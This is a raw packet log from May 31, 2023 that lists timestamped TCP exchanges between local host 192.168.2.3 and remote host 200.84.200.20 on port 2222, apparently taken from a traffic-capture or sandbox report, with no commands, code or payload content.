May 31, 2023 14:27:18.081509113 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.085843086 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.085989952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.086734056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.090040922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.093441010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.093621969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.095654011 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.099464893 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.100059986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.100382090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.102566957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.102756977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.107036114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.108520985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.109132051 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.109226942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.113678932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.114151955 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.116357088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.117027044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.120201111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.120352983 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.122998953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.126096010 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.127441883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.127556086 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.130131960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.130306959 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.134093046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.136760950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.136828899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.136888027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.141058922 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.143117905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.143265009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.146145105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.146354914 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.150360107 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.151253939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.152566910 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.152679920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.157521963 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.157644987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.159693956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.160598040 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.163626909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.163778067 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.166903019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.167038918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.170798063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.171438932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.173465014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.175237894 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.177216053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.177314997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.180686951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.180815935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.182910919 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.183048964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.187062025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.187249899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.190989971 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.191373110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.194186926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.194291115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.198270082 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.198396921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.200831890 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.201013088 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.203063965 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.203236103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.208015919 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.208513021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.210359097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.210483074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.214660883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.214761019 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.216924906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.217010975 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.221854925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.221996069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.223736048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.223829031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.228327036 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.228446960 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.230616093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.230699062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.235606909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.235817909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.237535000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.237678051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.242100954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.242387056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.244653940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.244894028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.249320030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.250097036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.251404047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.253470898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.255798101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.255978107 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.258481979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.261320114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.262712002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.262821913 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.265114069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.265253067 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.269128084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.269361973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.272363901 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.274281979 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.276529074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.277359009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.278599024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.278800011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.282994986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.285872936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.286039114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.289813042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.289983988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.292910099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.293015003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.296693087 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.298959970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.299619913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.301800966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.303623915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.303817034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.306320906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.306416988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.308530092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.308703899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.313297987 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.314058065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.317434072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.317547083 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.320255995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.322643042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.322837114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.329108953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.329196930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.329197884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.329334021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.333667040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.333803892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.336491108 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.336633921 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.341098070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.341212034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.343049049 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.343178988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.347465992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.348491907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.350205898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.350301027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.354602098 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.354746103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.356816053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.356931925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.361248016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.361402988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.364356041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.364512920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.368436098 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.370256901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.370296955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.372138023 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.374809980 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.374923944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.377516985 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.378279924 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.381247044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.382395983 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.384165049 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.386049986 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.388602018 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.389139891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.391344070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.391429901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.393522978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.394061089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.397741079 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.397871017 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.402951002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.405121088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.405262947 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.407083035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.407181978 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.411566973 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.411700964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.414326906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.415111065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.418955088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.419079065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.420944929 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.421036005 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.425323009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.425422907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.428004026 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.428092003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.432432890 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.433319092 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.434675932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.434771061 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.439308882 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.441854954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.442007065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.446105003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.446197987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.448195934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.450098038 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.453362942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.453478098 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.455543041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.455715895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.459903002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.460043907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.461978912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.462081909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.466969013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.468024969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.469137907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.471774101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.473099947 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.473212004 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.475838900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.475935936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.479991913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.481834888 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.482812881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.482978106 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.487401962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.488029003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.489600897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.491714954 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.493809938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.495716095 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.497153997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.497260094 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.500525951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.503499985 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.503658056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.507613897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.507751942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.510368109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.510467052 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.512597084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.516171932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.516745090 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.516845942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.519639015 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.519778013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.524220943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.525485992 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.528106928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.528273106 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.530973911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.531752110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.533226967 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.534447908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.537887096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.538117886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.540123940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.544127941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.544836998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.547049999 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.547218084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.551572084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.551687956 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.553909063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.556127071 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.558577061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.558682919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.560873032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.561007023 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.564800024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.566077948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.569783926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.569945097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.572438002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.572710991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.574723005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.578361988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.578597069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.581072092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.581264973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.585489988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.585639000 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.588454962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.588625908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.592104912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.592222929 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.594790936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.595072031 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.599252939 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.601994991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.602159977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.606003046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.606164932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.609133959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.609354019 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.613117933 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.613280058 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.615587950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.617729902 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.617979050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.623045921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.623173952 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.625152111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.626101971 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.629545927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.629960060 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.631612062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.631891012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.636558056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.637013912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.638925076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.641587973 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.641778946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.645340919 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.647685051 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.650033951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.650243998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.652440071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.652592897 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.654716969 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.654920101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.659143925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.661824942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.664081097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.664251089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.666068077 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.666182995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.669971943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.670325994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.672926903 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.673113108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.677140951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.677294016 CEST	49738	2222	192.168.2.3	200.84.200.20
